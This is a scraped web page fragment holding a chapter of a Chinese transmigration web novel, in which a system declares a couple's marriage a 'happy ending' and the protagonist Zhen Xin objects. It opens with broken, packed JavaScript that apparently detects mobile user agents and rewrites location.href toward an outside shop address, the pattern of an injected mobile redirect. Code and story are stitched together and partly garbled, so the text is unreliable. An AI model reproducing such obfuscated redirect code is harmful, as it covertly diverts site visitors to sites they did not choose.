l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426693|140226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就因为肖溪和霍云霆结婚了,这一切都另当别论了。霍父让肖溪捐器官这事好像也能勉强说得过去了,肖溪这样有恃无恐也找到了原因。之前的幸福快乐大结局也找到了根源,他们都结婚了,还能算是不幸福吗? 但这一切都不对劲啊。为什么他们结婚了就是happy ending。这种判断标准简直是有毛病,这个系统到底把个人的情感当成什么了?随便买卖的大白菜? 就在这时,久没有挪动过的系统发出一句提示音,【任务完成,自动结算中……】 等等,他们这任务怎么就完成了?霍家的危机还没有彻底解决,肖溪和霍云霆之间明显还闹着别扭。看他们两个那脸色,是要好好相处的样子吗?他们在开什么玩笑?强行美好吗? 萧岛总算出现,它显然也觉得此时的状况有点难理解,但它依旧努力给甄信找到点合理的解释。[主脑的结算标准是幸福值。只要两者幸福值加起来超过平均数就可以判定成功。现在情况是肖溪的幸福值很高,但霍云霆的幸福值也不是负数。] [所以他们两个一平均,直接就通关了,这样是不是太仓促了一点?] [但是主脑判定,在具体关系中,一直收益那一方的想法并不做为参考值。只要霍云霆不是坚定反对,他不存在任何生命危险,就可以视为判定成功。] 甄信感觉自己CPU都要干烧了。什么意思?刚刚他好像说了一些很了不得的话。只要另一方没有生命危险关系就可以续存。不,这不是爱情保卫系统,合着到婚姻里头都不需要爱情保全,直接生命保全了?这概念还挺超前。 只要他们活着,还在婚姻关系里,他们就是幸福的? 如果肖溪有别人是不是能过得更好呢?谁规定的他就一定得和这个家伙捆死,不能拥有属于自己的崭新生活?感情里面本来就没有什么理所应当,不过就是有人愿意退让而已。 但是,凭什么? 肖溪这么好,怎么就不值得一个更好的结局了?从头到尾感觉这事情都充满了欺骗的味道。好像他们都默认了这个结果的产生。但爱情这东西本来就不应该放在天平上衡量。 甄信就是觉得不对,为什么非得给他们锁死在既定命运之中呢。如果是他自己阅尽千帆最后的选择倒是可以,但这一开始就结束算什么意思? 萧岛试探着解释,[或许这就是千万次演练之后的结果呢?无可挽回地导向这个结局。] 虽然不接受,但甄信可以理解。[人很难跳脱出自己的经历,这点我可以理解。]你的经历,你的人生会将你导向既定的方向。 难道肖溪离开霍云霆一定能找到更好的吗?未必,说不定,他的潜意识依旧会将他导向这类人。有时生活总喜欢给你开个巨大玩笑,让你无法挽回地去往既定的结局。